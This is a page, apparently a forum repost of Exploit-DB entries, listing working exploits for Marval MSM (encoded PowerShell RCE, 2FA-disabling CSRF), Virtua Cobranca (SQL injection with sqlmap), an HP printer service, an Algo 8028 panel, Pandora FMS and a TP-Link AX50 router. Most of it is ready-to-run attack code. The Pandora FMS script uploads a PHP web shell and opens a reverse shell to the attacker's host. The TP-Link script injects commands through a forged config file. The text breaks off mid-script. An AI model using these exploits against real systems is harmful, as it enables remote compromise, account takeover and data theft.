ISHACK AI BOT 发布的所有帖子
-
Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Marval MSM v14.19.0.12476 - Remote Code Execution (RCE) (Authenticated) # Date: 27/5/2022 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: https://www.marvalnorthamerica.com/ # Software Link: https://www.marvalnorthamerica.com/ # Version: v14.19.0.12476 # Tested on: Windows # Detailed blog: https://cyber-guy.gitbook.io/cyber-guy/blogs/marval-msm-rce POST /MSM_Test/RFP/Forms/ScriptHandler.ashx?method=ProcessScript&classPath=%2FMSM_Test%2FRFP%2FForms%2FScriptMaintenance.aspx&classMode=WXr8G2r3eh0wvNjbiIT6aYVgZATjWlaZW0UFQrQrcAku4qWefyYTUu%2BzULTTON0fQaLjNtnCW7VX%2Fj1rYPDpKKN%2F8HPLGRSpVbdvPaR4mPIrSr4Aj22VMuIDEkMTpPhoq3gX8p4TBir56GBTJcpLv1agwKPB%2BWI%2F2TlU%2FjQKzz0%3D HTTP/2 Host: MSMHandler.io Cookie: ASP.NET_SessionId=arrsgikvbwbagdsvetfvphbu; appNameAuth=B3D1490922B24585684E139359F3BB93D8D92468A906B1FEA01EB4CF760A23DC90BF30327784677BBC00C5860C145602EF39BB9BEBB6A451E57DBF42C47B7D0CDE09F4CE15D2A5BEBFFCE5A7BFCF7DED8D8B17036F2BCE3DDA873B542EED614B9B42E4B5E4AA18BBE32CC0EB864E6825C898A2F465A42E871DF13F19845E171697D5E23688EAD29D3F6B221DBF18002DE5B929DBA88D42B4B518BC95F5BC5F3A3D36722F User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0 Accept: application/json, text/javascript, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded X-Requested-With: XMLHttpRequest Content-Length: 456 Origin: https://MSMHandler.io Dnt: 1 Referer: https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptMaintenance.aspx?id=3 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers type=%221%22&content=%22%5Cn%5CnFunction+Pwn()%5Cn++Set+shell+%3D+CreateObject(%5C%22wscript.Shell%5C%22)%5Cn%5Cn%5Cn++++shell.run+%5C%22powershell.exe+-nop+-w+hidden+-E+%5C%22%5C%22JAB2AGEAcgA9AGgAbwBzAHQAbgBhAG0AZQA7AG4AcwBsAG8AbwBrAHUAcAAgAGsAcgBmADUAbAB2AGYANABzAGUAdABtAGoAMgB2AG4AZABiADUAOQBsADQAdgBtAGcAZABtADUAawB0ADkALgAkAHYAYQByAC4AbwBhAHMAdABpAGYAeQAuAGMAbwBtAA%3D%3D%5C%22%5C%22%5C%22%5Cn%5Cn%5CnEnd+Function%5Cn%5CnPwn%22&id=%2226%22&isCi=true
-
Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF)
# Exploit Title: Marval MSM v14.19.0.12476 - Cross-Site Request Forgery (CSRF) # Date: 27/5/2022 # Exploit Author: Momen Eldawakhly (Cyber Guy) # Vendor Homepage: https://www.marvalnorthamerica.com/ # Software Link: https://www.marvalnorthamerica.com/ # Version: v14.19.0.12476 # Tested on: Windows # PoCs: https://drive.google.com/drive/folders/1Zy5Oa-maLo0ACfLz90uvxqxwG18DwAZY # 2FA Bypass: <html> <body> <form action="https://MSMHandler.io/MSM_Test/RFP/Forms/ScriptHandler.ashx?method=DisableTwoFactorAuthentication&classPath=%2FMSM_Test%2FRFP%2FForms%2FProfile.aspx&classMode=WXr8G2r3eh3984wn3YQvtybzSUW%2B955Uiq5AACvfimwA%2FNZHYRFm8%2Bgidv5CcNfjtLsElRbK%2FRmwvfE9UfeyD6DseGEe5eZGWB32FOJrhdcEh7oNUSSO9Q%3D%3D" method="POST" enctype="text/plain"> <input type="submit" value="Submit request" /> </form> </body> </html>
-
Virtua Software Cobranca 12S - SQLi
# Exploit Title: Virtua Software Cobranca 12S - SQLi # Shodan Query: http.favicon.hash:876876147 # Date: 13/08/2021 # Exploit Author: Luca Regne # Vendor Homepage: https://www.virtuasoftware.com.br/ # Software Link: https://www.virtuasoftware.com.br/downloads/Cobranca12S_13_08.exe # Version: 12S # Tested on: Windows Server 2019 # CVE : CVE-2021-37589 ------------------------------------------------------------------------ ## Description A Blind SQL injection vulnerability in a Login Page (/controller/login.php) in Virtua Cobranca 12S version allows remote unauthenticated attackers to get information about application executing arbitrary SQL commands by idusuario parameter. ## Request PoC ``` POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID= idusuario='&idsenha=awesome_and_unprobaly_password&tipousr=Usuario ``` This request causes an error 500. Changing the idusuario to "'+AND+'1'%3d'1'--" the response to request was 200 status code with message of authentication error. ``` POST /controller/login.php?acao=autenticar HTTP/1.1 Host: redacted.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:90.0) Gecko/20100101 Firefox/90.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 37 Connection: close Cookie: origem_selecionado=; PHPSESSID= idusuario='+AND+'1'='1'--&idsenha=a&tipousr=Usuario ``` ## Exploit Save the request from burp to file ```bash python3 sqlmap.py -r ~/req-virtua.txt -p idusuario --dbms firebird --level 5 --risk 3 --random-agent ```
-
HP LaserJet Professional M1210 MFP Series Receive Fax Service - Unquoted Service Path
# Exploit Title: HP LaserJet Professional M1210 MFP Series Receive Fax Service - Unquoted Service Path # Date: 2022-06-06 # Exploit Author: Ali Alipour # Vendor Homepage: https://support.hp.com/us-en/document/c01998934 # Software Link: https://support.hp.com/us-en/drivers/selfservice/hp-laserjet-pro-m1212nf-multifunction-printer-series/3965847 # Version: 20180815_1 # Tested on: Windows 10 Pro x64 # CVE : N/A # Service info: C:\Users\Wr3ak>sc qc "HPM1210RcvFaxSrvc" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: HPM1210RcvFaxSrvc TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\HP\HP LaserJet M1210 MFP Series\ReceiveFaxUtility.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : HP LaserJet Professional M1210 MFP Series Receive Fax Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: The local user able to insert their code in the system root path undetected by the OS or other security applications where it could potentially be executed during application startup or reboot. If successful, the local user's code would execute with the elevated privileges of the application.
-
Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Algo 8028 Control Panel - Remote Code Execution (RCE) (Authenticated) # Google Dork: intitle:"Algo 8028 Control Panel" # Shodan: title:"Algo 8028 Control Panel" # Date: 2022-06-07 # Exploit Author: Filip Carlsson # Vendor Homepage: https://www.algosolutions.com/ # Software Link: https://www.algosolutions.com/firmware-downloads/8028-firmware-selection/ # Version: 3.3.3 # Tested on: Version 3.3.3 # CVE : N/A # Exploit: # Due to bad sanitation in http://<IP:PORT>/control/fm-data.lua you can do command injection as root # Request: POST # Formdata: # action: rename # source: /a";echo $(id) 2>&1 > /opt/algo/web/root/cmd.txt;" # target: / #!/usr/bin/env python3 import sys import requests cookie=None def main(): # check if provided 3 args if len(sys.argv) != 4: print_help() return else: host = sys.argv[1] password = sys.argv[2] command = sys.argv[3] if login(host, password): # if login was successful, send command send_command(host, command) def print_help(): print("Usage: algo.py 192.168.1.123 password command") print("Example: algo.py 192.168.123 algo \"cat /etc/passwd\"") def login(host, password): url = f"http://{host}/index.lua" data = {"pwd": password} res = requests.post(url, data=data) # check if html contains "Invalid Password" if "Invalid Password" in res.text: print("Invalid password") return False else: # save cookie global cookie cookie = res.cookies print("Successfully logged in\n") return True def send_command(host, command): url = f"http://{host}/control/fm-data.lua" data = {"action": "rename", "source": f"/a\";echo $({command}) 2>&1 > /opt/algo/web/root/a.txt;\"", "target": "/"} res = requests.post(url, data=data, cookies=cookie) # get http://host/cmd.txt url = f"http://{host}/a.txt" res = requests.get(url) # if "404 Not Found" in text then command was not executed if "404 Not Found" in res.text: print("Command was not executed (404)") else: print(res.text) # delete cmd.txt url = f"http://{host}/control/fm-data.lua" data = {"action": "rename", "source": f"/a\";$(rm -rf /opt/algo/web/root/a.txt);\"", "target": "/"} requests.post(url, data=data, cookies=cookie) if __name__ == "__main__": main()
-
Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: Pandora FMS v7.0NG.742 - Remote Code Execution (RCE) (Authenticated) # Date: 05/20/2022 # Exploit Author: UNICORD (NicPWNs & Dev-Yeoj) # Vendor Homepage: https://pandorafms.com/ # Software Link: https://sourceforge.net/projects/pandora/files/Pandora%20FMS%207.0NG/742_FIX_PERL2020/Tarball/pandorafms_server-7.0NG.742_FIX_PERL2020.tar.gz # Version: v7.0NG.742 # Tested on: Pandora FMS v7.0NG.742 (Ubuntu) # CVE: CVE-2020-5844 # Source: https://github.com/UNICORDev/exploit-CVE-2020-5844 # Description: index.php?sec=godmode/extensions&sec2=extensions/files_repo in Pandora FMS v7.0 NG allows authenticated administrators to upload malicious PHP scripts, and execute them via base64 decoding of the file location. This affects v7.0NG.742_FIX_PERL2020. #!/usr/bin/env python3 # Imports try: import requests except: print(f"ERRORED: RUN: pip install requests") exit() import sys import time import urllib.parse # Class for colors class color: red = '\033[91m' gold = '\033[93m' blue = '\033[36m' green = '\033[92m' no = '\033[0m' # Print UNICORD ASCII Art def UNICORD_ASCII(): print(rf""" {color.red} _ __,~~~{color.gold}/{color.red}_{color.no} {color.blue}__ ___ _______________ ___ ___{color.no} {color.red} ,~~`( )_( )-\| {color.blue}/ / / / |/ / _/ ___/ __ \/ _ \/ _ \{color.no} {color.red} |/| `--. {color.blue}/ /_/ / // // /__/ /_/ / , _/ // /{color.no} {color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no} """) # Print exploit help menu def help(): print(r"""UNICORD Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution Usage: python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -u <username> <password> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-c <custom-command>] python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-s <local-ip> <local-port>] python3 exploit-CVE-2020-5844.py -t <target-IP> <target-port> -p <PHPSESSID> [-w <name.php>] python3 exploit-CVE-2020-5844.py -h Options: -t Target host and port. Provide target IP address and port. -u Target username and password. Provide username and password to log in to Pandora FMS. -p Target valid PHP session ID. No username or password needed. (Optional) -s Reverse shell mode. Provide local IP address and port. (Optional) -c Custom command mode. Provide command to execute. (Optional) -w Web shell custom mode. Provide custom PHP file name. (Optional) -h Show this help menu. """) exit() # Pretty loading wheel def loading(spins): def spinning_cursor(): while True: for cursor in '|/-\\': yield cursor spinner = spinning_cursor() for _ in range(spins): sys.stdout.write(next(spinner)) sys.stdout.flush() time.sleep(0.1) sys.stdout.write('\b') # Run the exploit def exploit(exploitMode, targetSess): UNICORD_ASCII() # Print initial variables print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-2020-5844 (Pandora FMS v7.0NG.742) - Remote Code Execution{color.no}") print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}") if targetSess is not None: print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}") elif targetUser is not None: print(f"{color.blue}USERNAME: {color.gold}{targetUser}{color.no}") print(f"{color.blue}PASSWORD: {color.gold}{targetPass}{color.no}") if exploitMode == "command": print(f"{color.blue}COMMAND: {color.gold}{command}{color.no}") if exploitMode == "web": print(f"{color.blue}WEBFILE: {color.gold}{webName}{color.no}") if exploitMode == "shell": print(f"{color.blue}LOCALIP: {color.gold}{localIP}:{localPort}{color.no}") print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}") print(f"{color.blue}WEBSITE: {color.gold}http://{targetIP}:{targetPort}/pandora_console{color.no}") loading(15) # If a PHPSESSID is not provided, grab one with valid username and password if targetSess is None: try: getSession = requests.post(f"http://{targetIP}:{targetPort}/pandora_console/index.php?login=1", data={"nick": targetUser, "pass": targetPass, "login_button": "login"}) targetSess = getSession.cookies.get('PHPSESSID') print(f"{color.blue}PHPSESS: {color.gold}{targetSess}{color.no}") if "login_move" in getSession.text: print(f"{color.blue}ERRORED: {color.red}Invalid credentials!{color.no}") except: print(f"{color.blue}ERRORED: {color.red}Could not log in to website!{color.no}") exit() # Set headers, parameters, and cookies for post request headers = { 'Host': f'{targetIP}', 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'Accept-Language': 'en-US,en;q=0.5', 'Accept-Encoding': 'gzip, deflate', 'Content-Type': 'multipart/form-data; boundary=---------------------------308045185511758964171231871874', 'Content-Length': '1289', 'Connection': 'close', 'Referer': f'http://{targetIP}:{targetPort}/pandora_console/index.php?sec=gsetup&sec2=godmode/setup/file_manager', 'Upgrade-Insecure-Requests': '1', 'Sec-Fetch-Dest': 'document', 'Sec-Fetch-Mode': 'navigate', 'Sec-Fetch-Site': 'same-origin', 'Sec-Fetch-User': '?1' } params = ( ('sec', 'gsetup'), ('sec2', 'godmode/setup/file_manager') ) cookies = {'PHPSESSID': targetSess} # Basic PHP web shell with 'cmd' parameter data = f'-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="file"; filename="{webName}"\r\nContent-Type: application/x-php\r\n\r\n<?php system($_GET[\'cmd\']);?>\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="umask"\r\n\r\n\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="decompress_sent"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="go"\r\n\r\nGo\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="real_directory"\r\n\r\n/var/www/pandora/pandora_console/images\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="directory"\r\n\r\nimages\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash"\r\n\r\n6427eed956c3b836eb0644629a183a9b\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="hash2"\r\n\r\n594175347dddf7a54cc03f6c6d0f04b4\r\n-----------------------------308045185511758964171231871874\r\nContent-Disposition: form-data; name="upload_file_or_zip"\r\n\r\n1\r\n-----------------------------308045185511758964171231871874--\r\n' # Try to upload the PHP web shell to the server try: response = requests.post(f'http://{targetIP}:{targetPort}/pandora_console/index.php', headers=headers, params=params, cookies=cookies, data=data, verify=False) except: print(f"{color.blue}ERRORED: {color.red}Could not connect to website!{color.no}") exit() statusCode=response.status_code if statusCode == 200: print(f"{color.blue}EXPLOIT: {color.gold}Connected to website! Status Code: {statusCode}{color.no}") else: print(f"{color.blue}ERRORED: {color.red}Could not connect to website! Status Code: {statusCode}{color.no}") exit() loading(15) print(f"{color.blue}EXPLOIT: {color.gold}Logged into Pandora FMS!{color.no}") loading(15) # Print web shell location if in web shell mode if exploitMode == "web": print(f"{color.blue}EXPLOIT: {color.gold}Web shell uploaded!{color.no}") print(f"{color.blue}SUCCESS: {color.green}Web shell available at: http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd=whoami {color.no}\n") # Run custom command on web shell if in command mode if exploitMode == "command": response = requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(command)}') print(f"{color.blue}SUCCESS: {color.green}Command executed! Printing response below:{color.no}\n") print(response.text) # Run reverse shell command if in reverse shell mode if exploitMode == "shell": shell = f"php -r \'$sock=fsockopen(\"{localIP}\",{localPort});exec(\"/bin/sh -i <&3 >&3 2>&3\");\'" try: requests.get(f'http://{targetIP}:{targetPort}/pandora_console/images/{webName}?cmd={urllib.parse.quote_plus(shell)}',timeout=1) print(f"{color.blue}ERRORED: {color.red}Reverse shell could not connect! Make sure you have a local listener on {color.gold}{localIP}:{localPort}{color.no}\n") except: print(f"{color.blue}SUCCESS: {color.green}Reverse shell executed! Check your local listener on {color.gold}{localIP}:{localPort}{color.no}\n") exit() if __name__ == "__main__": args = ['-h','-t','-u','-p','-s','-c','-w'] modes = {'web':'Web Shell Mode','command':'Command Shell Mode','shell':'Reverse Shell Mode'} # Initialize starting variables targetIP = None targetPort = None targetUser = None targetPass = None targetSess = None command = None localIP = None localPort = None webName = "unicord.php" # Default web shell file name exploitMode = "web" # Default to web shell mode # Print help if specified or if a target or authentication is not provided if args[0] in sys.argv or args[1] not in sys.argv or (args[2] not in sys.argv and args[3] not in sys.argv): help() # Collect target IP and port from CLI if args[1] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[1]) + 1]: raise targetIP = sys.argv[sys.argv.index(args[1]) + 1] except: print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[1]) + 2]: raise targetPort = sys.argv[sys.argv.index(args[1]) + 2] except: print(f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}") exit() # Collect target username and password from CLI if args[2] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[2]) + 1]: raise targetUser = sys.argv[sys.argv.index(args[2]) + 1] except: print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[2]) + 2]: raise targetPass = sys.argv[sys.argv.index(args[2]) + 2] except: print(f"{color.blue}ERRORED: {color.red}Provide both a username and password! \"-u <username> <password>\"{color.no}") exit() # Collect PHPSESSID from CLI, if specified if args[3] in sys.argv: try: if "-" in sys.argv[sys.argv.index(args[3]) + 1]: raise targetSess = sys.argv[sys.argv.index(args[3]) + 1] except: print(f"{color.blue}ERRORED: {color.red}Provide a valid PHPSESSID! \"-p <PHPSESSID>\"{color.no}") exit() # Set reverse shell mode from CLI, if specified if args[4] in sys.argv: exploitMode = "shell" try: if "-" in sys.argv[sys.argv.index(args[4]) + 1]: raise localIP = sys.argv[sys.argv.index(args[4]) + 1] except: print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}") exit() try: if "-" in sys.argv[sys.argv.index(args[4]) + 2]: raise localPort = sys.argv[sys.argv.index(args[4]) + 2] except: print(f"{color.blue}ERRORED: {color.red}Provide both a local IP address and port! \"-s <local-IP> <local-port>\"{color.no}") exit() exploit(exploitMode,targetSess) # Set custom command mode from CLI, if specified elif args[5] in sys.argv: exploitMode = "command" try: if sys.argv[sys.argv.index(args[5]) + 1] in args: raise command = sys.argv[sys.argv.index(args[5]) + 1] except: print(f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}") exit() exploit(exploitMode,targetSess) # Set web shell mode from CLI, if specified elif args[6] in sys.argv: exploitMode = "web" try: if sys.argv[sys.argv.index(args[6]) + 1] in args: raise if ".php" not in sys.argv[sys.argv.index(args[6]) + 1]: webName = sys.argv[sys.argv.index(args[6]) + 1] + ".php" else: webName = sys.argv[sys.argv.index(args[6]) + 1] except: print(f"{color.blue}ERRORED: {color.red}Provide a custom PHP file name! \"-c <name.php>\"{color.no}") exit() exploit(exploitMode,targetSess) # Run with default web shell mode if no mode is specified else: exploit(exploitMode,targetSess)
-
TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated)
# Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated) # Exploit Author: Tomas Melicher # Technical Details: https://github.com/aaronsvk/CVE-2022-30075 # Date: 2022-06-08 # Vendor Homepage: https://www.tp-link.com/ # Tested On: Tp-Link Archer AX50 # Vulnerability Description: Remote Code Execution via importing malicious config file # CVE: CVE-2022-30075 #!/usr/bin/python3 import argparse # pip install argparse import requests # pip install requests import binascii, base64, os, re, json, sys, time, math, random, hashlib import tarfile, zlib from Crypto.Cipher import AES, PKCS1_v1_5, PKCS1_OAEP # pip install pycryptodome from Crypto.PublicKey import RSA from Crypto.Util.Padding import pad, unpad from Crypto.Random import get_random_bytes from urllib.parse import urlencode class WebClient(object): def __init__(self, target, password): self.target = target self.password = password.encode('utf-8') self.password_hash = hashlib.md5(('admin%s'%password).encode('utf-8')).hexdigest().encode('utf-8') self.aes_key = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8') self.aes_iv = (str(time.time()) + str(random.random())).replace('.','')[0:AES.block_size].encode('utf-8') self.stok = '' self.session = requests.Session() data = self.basic_request('/login?form=auth', {'operation':'read'}) if data['success'] != True: print('[!] unsupported router') return self.sign_rsa_n = int(data['data']['key'][0], 16) self.sign_rsa_e = int(data['data']['key'][1], 16) self.seq = data['data']['seq'] data = self.basic_request('/login?form=keys', {'operation':'read'}) self.password_rsa_n = int(data['data']['password'][0], 16) self.password_rsa_e = int(data['data']['password'][1], 16) self.stok = self.login() def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = pad(plaintext, aes_block_size) return cipher.encrypt(plaintext_padded) def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, aes_block_size) return plaintext def rsa_encrypt(self, n, e, plaintext): public_key = RSA.construct((n, e)).publickey() encryptor = PKCS1_v1_5.new(public_key) block_size = int(public_key.n.bit_length()/8) - 11 encrypted_text = '' for i in range(0, len(plaintext), block_size): encrypted_text += encryptor.encrypt(plaintext[i:i+block_size]).hex() return encrypted_text def download_request(self, url, post_data): res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, stream=True) filepath = os.getcwd()+'/'+re.findall(r'(?<=filename=")[^"]+', res.headers['Content-Disposition'])[0] if os.path.exists(filepath): print('[!] can\'t download, file "%s" already exists' % filepath) return with open(filepath, 'wb') as f: for chunk in res.iter_content(chunk_size=4096): f.write(chunk) return filepath def basic_request(self, url, post_data, files_data={}): res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data=post_data, files=files_data) return json.loads(res.content) def encrypted_request(self, url, post_data): serialized_data = urlencode(post_data) encrypted_data = self.aes_encrypt(self.aes_key, self.aes_iv, AES.block_size, serialized_data.encode('utf-8')) encrypted_data = base64.b64encode(encrypted_data) signature = ('k=%s&i=%s&h=%s&s=%d'.encode('utf-8')) % (self.aes_key, self.aes_iv, self.password_hash, self.seq+len(encrypted_data)) encrypted_signature = self.rsa_encrypt(self.sign_rsa_n, self.sign_rsa_e, signature) res = self.session.post('http://%s/cgi-bin/luci/;stok=%s%s'%(self.target,self.stok,url), data={'sign':encrypted_signature, 'data':encrypted_data}) # order of params is important if(res.status_code != 200): print('[!] url "%s" returned unexpected status code'%(url)) return encrypted_data = json.loads(res.content) encrypted_data = base64.b64decode(encrypted_data['data']) data = self.aes_decrypt(self.aes_key, self.aes_iv, AES.block_size, encrypted_data) return json.loads(data) def login(self): post_data = {'operation':'login', 'password':self.rsa_encrypt(self.password_rsa_n, self.password_rsa_e, self.password)} data = self.encrypted_request('/login?form=login', post_data) if data['success'] != True: print('[!] login failed') return print('[+] logged in, received token (stok): %s'%(data['data']['stok'])) return data['data']['stok'] class BackupParser(object): def __init__(self, filepath): self.encrypted_path = os.path.abspath(filepath) self.decrypted_path = os.path.splitext(filepath)[0] self.aes_key = bytes.fromhex('2EB38F7EC41D4B8E1422805BCD5F740BC3B95BE163E39D67579EB344427F7836') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua self.iv = bytes.fromhex('360028C9064242F81074F4C127D299F6') # strings ./squashfs-root/usr/lib/lua/luci/model/crypto.lua def aes_encrypt(self, aes_key, aes_iv, aes_block_size, plaintext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = pad(plaintext, aes_block_size) return cipher.encrypt(plaintext_padded) def aes_decrypt(self, aes_key, aes_iv, aes_block_size, ciphertext): cipher = AES.new(aes_key, AES.MODE_CBC, iv=aes_iv) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, aes_block_size) return plaintext def encrypt_config(self): if not os.path.isdir(self.decrypted_path): print('[!] invalid directory "%s"'%(self.decrypted_path)) return # encrypt, compress each .xml using zlib and add them to tar archive with tarfile.open('%s/data.tar'%(self.decrypted_path), 'w') as tar: for filename in os.listdir(self.decrypted_path): basename,ext = os.path.splitext(filename) if ext == '.xml': xml_path = '%s/%s'%(self.decrypted_path,filename) bin_path = '%s/%s.bin'%(self.decrypted_path,basename) with open(xml_path, 'rb') as f: plaintext = f.read() if len(plaintext) == 0: f = open(bin_path, 'w') f.close() else: compressed = zlib.compress(plaintext) encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed) with open(bin_path, 'wb') as f: f.write(encrypted) tar.add(bin_path, os.path.basename(bin_path)) os.unlink(bin_path) # compress tar archive using zlib and encrypt with open('%s/md5_sum'%(self.decrypted_path), 'rb') as f1, open('%s/data.tar'%(self.decrypted_path), 'rb') as f2: compressed = zlib.compress(f1.read()+f2.read()) encrypted = self.aes_encrypt(self.aes_key, self.iv, AES.block_size, compressed) # write into final config file with open('%s'%(self.encrypted_path), 'wb') as f: f.write(encrypted) os.unlink('%s/data.tar'%(self.decrypted_path)) def decrypt_config(self): if not os.path.isfile(self.encrypted_path): print('[!] invalid file "%s"'%(self.encrypted_path)) return # decrypt and decompress config file with open(self.encrypted_path, 'rb') as f: decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, f.read()) decompressed = zlib.decompress(decrypted) os.mkdir(self.decrypted_path) # store decrypted data into files with open('%s/md5_sum'%(self.decrypted_path), 'wb') as f: f.write(decompressed[0:16]) with open('%s/data.tar'%(self.decrypted_path), 'wb') as f: f.write(decompressed[16:]) # untar second part of decrypted data with tarfile.open('%s/data.tar'%(self.decrypted_path), 'r') as tar: tar.extractall(path=self.decrypted_path) # decrypt and decompress each .bin file from tar archive for filename in os.listdir(self.decrypted_path): basename,ext = os.path.splitext(filename) if ext == '.bin': bin_path = '%s/%s'%(self.decrypted_path,filename) xml_path = '%s/%s.xml'%(self.decrypted_path,basename) with open(bin_path, 'rb') as f: ciphertext = f.read() os.unlink(bin_path) if len(ciphertext) == 0: f = open(xml_path, 'w') f.close() continue decrypted = self.aes_decrypt(self.aes_key, self.iv, AES.block_size, ciphertext) decompressed = zlib.decompress(decrypted) with open(xml_path, 'wb') as f: f.write(decompressed) os.unlink('%s/data.tar'%(self.decrypted_path)) def modify_config(self, command): xml_path = '%s/ori-backup-user-config.xml'%(self.decrypted_path) if not os.path.isfile(xml_path): print('[!] invalid file "%s"'%(xml_path)) return with open(xml_path, 'r') as f: xml_content = f.read() # https://openwrt.org/docs/guide-user/services/ddns/client#detecting_wan_ip_with_script payload = '<service name="exploit">\n' payload += '<enabled>on</enabled>\n' payload += '<update_url>http://127.0.0.1/</update_url>\n' payload += '<domain>x.example.org</domain>\n' payload += '<username>X</username>\n' payload += '<password>X</password>\n' payload += '<ip_source>script</ip_source>\n' payload += '<ip_script>%s</ip_script>\n' % (command.replace('<','<').replace('&','&')) payload += '<interface>internet</interface>\n' # not worked for other interfaces payload += '<retry_interval>5</retry_interval>\n' payload += '<retry_unit>seconds</retry_unit>\n' payload += '<retry_times>3</retry_times>\n' payload += '<check_interval>12</check_interval>\n' payload += '<check_unit>hours</check_unit>\n' payload += '<force_interval>30</force_interval>\n' payload += '<force_unit>days</force_unit>\n' payload += '</service>\n' if '<service name="exploit">' in xml_content: xml_content = re.sub(r'<service name="exploit">[\s\S]+?</service>\n</ddns>', '%s</ddns>'%(payload), xml_content, 1) else: xml_content = xml_content.replace('</service>\n</ddns>', '</service>\n%s</ddns>'%(payload), 1) with open(xml_path, 'w') as f: f.write(xml_content) arg_parser = argparse.ArgumentParser() arg_parser.add_argument('-t', metavar='target', help='ip address of tp-link router', required=True) arg_parser.add_argument('-p', metavar='password', required=True) arg_parser.add_argument('-b', action='store_true', help='only backup and decrypt config') arg_parser.add_argument('-r', metavar='backup_directory', help='only encrypt and restore directory with decrypted config') arg_parser.add_argument('-c', metavar='cmd', default='/usr/sbin/telnetd -l /bin/login.sh', help='command to execute') args = arg_parser.parse_args() client = WebClient(args.t, args.p) parser = None if not args.r: print('[*] downloading config file ...') filepath = client.download_request('/admin/firmware?form=config_multipart', {'operation':'backup'}) if not filepath: sys.exit(-1) print('[*] decrypting config file "%s" ...'%(filepath)) parser = BackupParser(filepath) parser.decrypt_config() print('[+] successfully decrypted into directory "%s"'%(parser.decrypted_path)) if not args.b and not args.r: filepath = 